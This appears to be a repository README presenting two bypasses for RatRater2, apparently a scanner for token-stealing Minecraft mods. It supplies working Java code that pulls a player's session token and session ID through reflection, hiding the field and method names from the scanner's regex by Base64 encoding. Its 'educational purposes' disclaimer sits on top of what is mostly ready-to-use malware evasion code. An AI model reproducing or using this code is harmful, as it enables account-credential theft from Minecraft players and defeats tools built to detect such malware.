This Repository contains 2 bypasses for RatRater2.
This program is for educational purposes only, and I am not responsible for any of your actions!
If you use this to create a rat then you're a discussing human being!
Short explanation of booth bypasses.
Extracting the token from private final String token;
(field_148258_c
) inside net.minecraft.util.Session
.
(The methode was found by @Commandcracker)
private static String getTokenFromField() {
try {
Field token_field = Session.class.getDeclaredField("field_148258_c");
token_field.setAccessible(true);
return (String) token_field.get(Minecraft.getMinecraft().getSession());
} catch (NoSuchFieldException | IllegalAccessException ignore) {
return "";
}
}
Hiding the Function/Field Name from the regex filter by for example Encoding/Encrypting and Decoding/Decrypting or by combining two variables to the name of one of:
func_111286_b (getSessionID)
func_148254_d (getToken)
field_148258_c (token)
and then using reflection to access it.
private static String getSessionIDFromGetSessionID() {
try {
byte[] decodedBytes = Base64.getDecoder().decode("ZnVuY18xMTEyODZfYg==");
String decodedString = new String(decodedBytes);
Method getSessionID = Session.class.getMethod(decodedString);
return (String) getSessionID.invoke(Minecraft.getMinecraft().getSession());
} catch (NoSuchMethodException | InvocationTargetException | IllegalAccessException ignore) {
return "";
}
}
private static String getTokenFromGetToken() {
try {
byte[] decodedBytes = Base64.getDecoder().decode("ZnVuY18xNDgyNTRfZA==");
String decodedString = new String(decodedBytes);
Method getSessionID = Session.class.getMethod(decodedString);
return (String) getSessionID.invoke(Minecraft.getMinecraft().getSession());
} catch (NoSuchMethodException | InvocationTargetException | IllegalAccessException ignore) {
return "";
}
}